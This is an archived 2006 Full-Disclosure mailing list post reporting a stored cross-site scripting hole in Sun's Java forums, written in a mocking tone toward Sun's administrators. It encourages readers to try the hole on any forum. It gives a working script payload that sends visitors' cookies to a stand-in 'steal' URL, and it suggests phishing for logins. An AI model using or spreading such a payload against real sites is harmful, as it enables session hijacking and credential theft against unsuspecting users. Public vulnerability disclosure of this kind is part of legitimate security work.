full-disclosure - sun and their pathetic forum management (xss, etc)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 11 Nov 2006 09:41:00 +1100
From: <auto158202@...h.ai>
To: "full-disclosure" <full-disclosure@...ts.grok.org.uk>
Cc: 
Subject: sun and their pathetic forum management (xss, etc)

Sun, in their amazing patheticness, have again allowed direct HTML 
to be written into their forum system.

URL: http://forum.java.sun.com/forum.jspa?forumID=553

It works on only select forums, but due to severe incompetence from 
the administrators of the site, this issue will occur quit often. 
It is worth your while to test out any forum you like, you may just 
see it working.

EXPLOIT (hah):
==============
start a new thread or post a reply and include any HTML you like, 
preferrably to steal a cookie or trick users into logging in again 
but submit to your server; your imagination is the only restriction.

EXAMPLE:
==============
Message:
Hello. 
<img id="xxa" />
<script>window.attachEvent("onload", foo);
function foo() {
  xxa.src = "http://www.example.com/steal/?" + document.cookie;
}
</script>

FIX:
==============
Sun needs to accept that their administration of the site is 
absolutely terrible and do something about it. The Jive software 
that runs the forum is completely fine, it is suns mismanagement 
that causes these issues. Jive should not be subject to the very 
bad image the forum software gets from it's use on Sun's site.

Thanks.

Concerned about your privacy? Instantly send FREE secure email, no account required
http://www.hushmail.com/send?l=480

Get the best prices on SSL certificates from Hushmail
https://www.hushssl.com?l=485

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/